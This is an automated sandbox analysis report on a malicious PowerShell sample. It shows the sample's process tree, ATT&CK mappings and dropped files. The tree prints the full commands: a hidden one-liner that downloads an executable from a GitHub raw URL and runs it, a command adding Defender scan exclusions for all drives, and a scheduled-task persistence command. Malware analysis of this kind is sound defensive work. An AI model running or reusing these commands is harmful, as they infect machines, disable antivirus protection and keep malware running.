149e88b3db852ad23cb775190e9cb3ac1f5cca224aef8bfc39eac5fc99bbb2e3

Analysis

user interaction
yes
max time kernel
71s
max time network
73s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 08:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.ps1
Size 371B
Sample260809-jxxhrstdmf
SHA256 149e88b3db852ad23cb775190e9cb3ac1f5cca224aef8bfc39eac5fc99bbb2e3
MD5 c1bd1af4107a66f42dc2759d263fc5a8
SHA1 109ca03479a515862ad7809795c26931e4d68f09
SHA512 57a2ccd08d42d2bdb24bea4eccf74b27365189333c5e59ceb86a54084b4e81eeb695442685c79b2be5a9ec799f7ebb0322de59238b529f7fd28b4391c63e9daa
TLSH
T1F3E0C00302FF43788EF28C1099EE3219E4A7F109E61701A31BE1581BF84039FC3A80DA
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	932	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4416	PowerShell.exe
932	powershell.exe
4916	powershell.exe
4144	powershell.exe
1980	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
5	932	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3620	SecurityHealthSarvice.exe
2544	SecurityHealthSarvice.exe
2156	SecurityHealthSarvice.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
3704	cmd.exe
5776	cmd.exe
1532	cmd.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSarvice = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthSarvice.exe"	SecurityHealthSarvice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSarvice = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthSarvice.exe"	SecurityHealthSarvice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSarvice = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthSarvice.exe"	SecurityHealthSarvice.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
1	raw.githubusercontent.com

Checks system information in the registry 2 TTPs 6 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthSarvice.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5776	cmd.exe
1532	cmd.exe
3704	cmd.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2360	cmd.exe
5480	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5156	schtasks.exe
3448	schtasks.exe
4056	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4416	PowerShell.exe
4416	PowerShell.exe
932	powershell.exe
932	powershell.exe
1980	powershell.exe
1980	powershell.exe
4916	powershell.exe
4916	powershell.exe
4916	powershell.exe
4144	powershell.exe
4144	powershell.exe
4144	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4416	PowerShell.exe
Token: SeDebugPrivilege	932	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeIncreaseQuotaPrivilege	1980	powershell.exe
Token: SeSecurityPrivilege	1980	powershell.exe
Token: SeTakeOwnershipPrivilege	1980	powershell.exe
Token: SeLoadDriverPrivilege	1980	powershell.exe
Token: SeSystemProfilePrivilege	1980	powershell.exe
Token: SeSystemtimePrivilege	1980	powershell.exe
Token: SeProfSingleProcessPrivilege	1980	powershell.exe
Token: SeIncBasePriorityPrivilege	1980	powershell.exe
Token: SeCreatePagefilePrivilege	1980	powershell.exe
Token: SeBackupPrivilege	1980	powershell.exe
Token: SeRestorePrivilege	1980	powershell.exe
Token: SeShutdownPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeSystemEnvironmentPrivilege	1980	powershell.exe
Token: SeRemoteShutdownPrivilege	1980	powershell.exe
Token: SeUndockPrivilege	1980	powershell.exe
Token: SeManageVolumePrivilege	1980	powershell.exe
Token: 33	1980	powershell.exe
Token: 34	1980	powershell.exe
Token: 35	1980	powershell.exe
Token: 36	1980	powershell.exe
Token: SeIncreaseQuotaPrivilege	1980	powershell.exe
Token: SeSecurityPrivilege	1980	powershell.exe
Token: SeTakeOwnershipPrivilege	1980	powershell.exe
Token: SeLoadDriverPrivilege	1980	powershell.exe
Token: SeSystemProfilePrivilege	1980	powershell.exe
Token: SeSystemtimePrivilege	1980	powershell.exe
Token: SeProfSingleProcessPrivilege	1980	powershell.exe
Token: SeIncBasePriorityPrivilege	1980	powershell.exe
Token: SeCreatePagefilePrivilege	1980	powershell.exe
Token: SeBackupPrivilege	1980	powershell.exe
Token: SeRestorePrivilege	1980	powershell.exe
Token: SeShutdownPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeSystemEnvironmentPrivilege	1980	powershell.exe
Token: SeRemoteShutdownPrivilege	1980	powershell.exe
Token: SeUndockPrivilege	1980	powershell.exe
Token: SeManageVolumePrivilege	1980	powershell.exe
Token: 33	1980	powershell.exe
Token: 34	1980	powershell.exe
Token: 35	1980	powershell.exe
Token: 36	1980	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4916	powershell.exe
Token: SeSecurityPrivilege	4916	powershell.exe
Token: SeTakeOwnershipPrivilege	4916	powershell.exe
Token: SeLoadDriverPrivilege	4916	powershell.exe
Token: SeSystemProfilePrivilege	4916	powershell.exe
Token: SeSystemtimePrivilege	4916	powershell.exe
Token: SeProfSingleProcessPrivilege	4916	powershell.exe
Token: SeIncBasePriorityPrivilege	4916	powershell.exe
Token: SeCreatePagefilePrivilege	4916	powershell.exe
Token: SeBackupPrivilege	4916	powershell.exe
Token: SeRestorePrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeSystemEnvironmentPrivilege	4916	powershell.exe
Token: SeRemoteShutdownPrivilege	4916	powershell.exe
Token: SeUndockPrivilege	4916	powershell.exe
Token: SeManageVolumePrivilege	4916	powershell.exe
Token: 33	4916	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4416 wrote to memory of 2360	4416	PowerShell.exe	90
PID 2360 wrote to memory of 5480	2360	cmd.exe	91
PID 5480 wrote to memory of 932	5480	cmd.exe	93
PID 932 wrote to memory of 3620	932	powershell.exe	94
PID 3620 wrote to memory of 1532	3620	SecurityHealthSarvice.exe	95
PID 1532 wrote to memory of 5008	1532	cmd.exe	97
PID 1532 wrote to memory of 1980	1532	cmd.exe	98
PID 3620 wrote to memory of 5156	3620	SecurityHealthSarvice.exe	100
PID 2544 wrote to memory of 3704	2544	SecurityHealthSarvice.exe	104
PID 3704 wrote to memory of 5468	3704	cmd.exe	106
PID 3704 wrote to memory of 4916	3704	cmd.exe	107
PID 2544 wrote to memory of 3448	2544	SecurityHealthSarvice.exe	108
PID 2156 wrote to memory of 5776	2156	SecurityHealthSarvice.exe	111
PID 5776 wrote to memory of 4540	5776	cmd.exe	113
PID 5776 wrote to memory of 4144	5776	cmd.exe	114
PID 2156 wrote to memory of 4056	2156	SecurityHealthSarvice.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\test.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start /min cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile %TEMP%\SecurityHealthSarvice.exe; Start-Process -FilePath %TEMP%\SecurityHealthSarvice.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:932
    - - C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks system information in the registry
        Suspicious use of WriteProcessMemory
        
        PID:3620
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        6⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Hide Artifacts: Ignore Process Interrupts
        Suspicious use of WriteProcessMemory
        
        PID:1532
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:5008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5156

C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:5468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4916
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3448

C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
"C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\system32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:5776
- - C:\Windows\System32\chcp.com
    chcp 65001
    3⤵
    PID:4540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4144
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 baa371d01007bfa9bad185a3d0a62fa2e20b1733fca380ae97a22abc7d939747
MD5 c1365ed2a14966dfcee9769b2199651e
SHA1 e6330f8e7da4d0b9de145d4a8961752c7e097bf4
SHA512 98ee4557d17ef4b2f366d5b6777ad5e8c194e0d16926cc6fc618445fe646c1dc20beb2c0eea80a2e7f39e29d8a476d21ff546808778c59182b875320aaab479a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 95bf34d339698a4bb28f3d149bf3bd4631d612be2a593d2b126dd3f596c2d062
MD5 8fb6349b5992e82f06c7d05fe6b0d119
SHA1 eb810cd9bdc22234738068757d3346c15c3de3f9
SHA512 2b8c39b4fe6dd7ac6e68c9759538f6e8707e2deef1d822cc215752b377fc7570c1543bfafdc8011d3cef52131ab316af6c5adf0d6b967b06d11d5bab0def9b17
TLSH
T110215637B3DC8664D88A413A50CEAC1032B7C7DB809ECEEBBB84D555B42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 96e75f9ab11a054cc56e15c9f0eca46aaeafc7ceac160de2307ef72ecfc3f41b
MD5 328612ebdb849c2591def5813c869fe7
SHA1 76f7141dcb3469205658bac4acbf86cbd3bccfb3
SHA512 506ab41fe043b11e2adf0690771b5291b9cd63dc2495f89c8ca5e7774338813b306cd5c8a8e838373a09163a43c7385aa3841098c6ef539c67ee828b3f4859be
TLSH
T147214533F3CC8555C899013A50CEAC1035BBC7DB90DE9FDB6B84E559A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d57132bfaf86ca112a4ca8c1dfa6a5d2148a9bc954fabd1d01e3501209bf3842
MD5 ca684c226327c087c957b6095e5cb1fc
SHA1 347c31ea3f6a3c6742b5d54c5e6969fffb1cec4c
SHA512 57bf6b0829247b8c755823c9b5595dbc7fc7b988df86ae9d10f4293e33321538df4018e0b450b81781dd64a017b36d97bb593eec7215ae74e3b9e0631e033ba4
TLSH
T1F7217933F3CC8615CC9A013A50CDAC1036BAC7DB91DEDFAB6B84E655A53F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

SecurityHealthSarvice.exe

Path C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
Size 60KB
SHA256 8353eb70e28a76578479d2cf2b80a9670b9fdf25d0292049e715589bcfcf7fcd
MD5 52c70a37a8c2f3bb8d738250880e5311
SHA1 144dc736b16efe831f4dab27aca26e6ed0ed66d0
SHA512 c81dcb50659595d7ba2b05bdc1170f41e1006fdbefdb68efb164a1871e365eb8848acdcfab490a759a9763809c3608687626aec278a25ab3ea9e1d7b1870a18c
SSDEEP 1536:wYvxrhs3z558JPDCkRNLT8vJ0xXjmJZo:wAxNsoh9RhiJVP
TLSH
T13953090AF39364ECD51BC27446EB6773BA32BD6511319F3E1394E6302E50E60AE79B24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_w0dqlstn.5tc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0dqlstn.5tc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

~msnDEV-eef26d09a31d7391.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-eef26d09a31d7391.tmp
Size 4B
SHA256 f0922bdc63194a3126a9b98b75a4ae7416e1724ac4051ee02bf9c40b0107d453
MD5 dbad0e53f159fc2e31e5a73508cab83a
SHA1 e8b345e9632f8932023ccb293c0d9fe361594abf
SHA512 758a55faf75017ae4c1f99692773bf4d1febab41a788dfbc3d6e0d182b6f484977187563928fbcfdf8825e0463468185b8f37ef7ae670a98a250a3ec6329a5d4
MD5 SHA1 SHA512

Submit Download

~msnDEV-eef26d09a31d7391.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-eef26d09a31d7391.tmp
Size 4B
SHA256 f4d1bb605cf479e78559bb3266f9aaba5a2f46de6dc332dd4a3aad6c323e27fe
MD5 a5642ef179df77b2c63f45bda2efce21
SHA1 3eab8a7a48a605beeab1b8892556a002cf40a6a3
SHA512 f38678aeeb505f9b16a5cfbd6b719be3e7245369316a2ea39532ba8f4175d7ea254b318c94764653140e6d485f339e54dbad7f1e4e858fad74978e76075c6958
MD5 SHA1 SHA512

Submit Download

memory/932-36-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-24-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-25-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-13-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-14-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-15-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-18-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-20-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-22-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-21-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/932-23-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/1980-42-0x0000027855900000-0x000002785591E000-memory.dmp

Download

memory/1980-43-0x0000027855BD0000-0x0000027855C82000-memory.dmp

Download

memory/1980-44-0x00000278558F0000-0x00000278558FA000-memory.dmp

Download

memory/2156-101-0x00007FF6EB920000-0x00007FF6EB939000-memory.dmp

Download

memory/2156-90-0x000000027FE40000-0x000000027FE9A000-memory.dmp

Download

memory/2544-78-0x00007FF6EB920000-0x00007FF6EB939000-memory.dmp

Download

memory/3620-46-0x000000027FE40000-0x000000027FE9A000-memory.dmp

Download

memory/3620-59-0x00007FF7D08B0000-0x00007FF7D08C9000-memory.dmp

Download

memory/4144-88-0x000001B676E00000-0x000001B676EB2000-memory.dmp

Download

memory/4416-7-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/4416-0-0x00007FFB799CF000-0x00007FFB799D0000-memory.dmp

Download

memory/4416-12-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/4416-6-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/4416-5-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/4416-8-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/4416-4-0x00000217C4280000-0x00000217C42A2000-memory.dmp

Download

memory/4416-3-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/4416-9-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download

memory/4416-10-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

Download